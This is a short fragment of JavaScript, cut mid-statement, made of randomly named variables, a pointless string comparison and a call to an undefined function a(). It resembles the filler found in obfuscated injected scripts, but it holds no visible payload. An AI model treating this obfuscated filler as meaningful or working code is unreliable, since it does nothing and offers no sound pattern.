Xp;if(Xp!='qG'){Xp=''};a();var ep='';var hO='';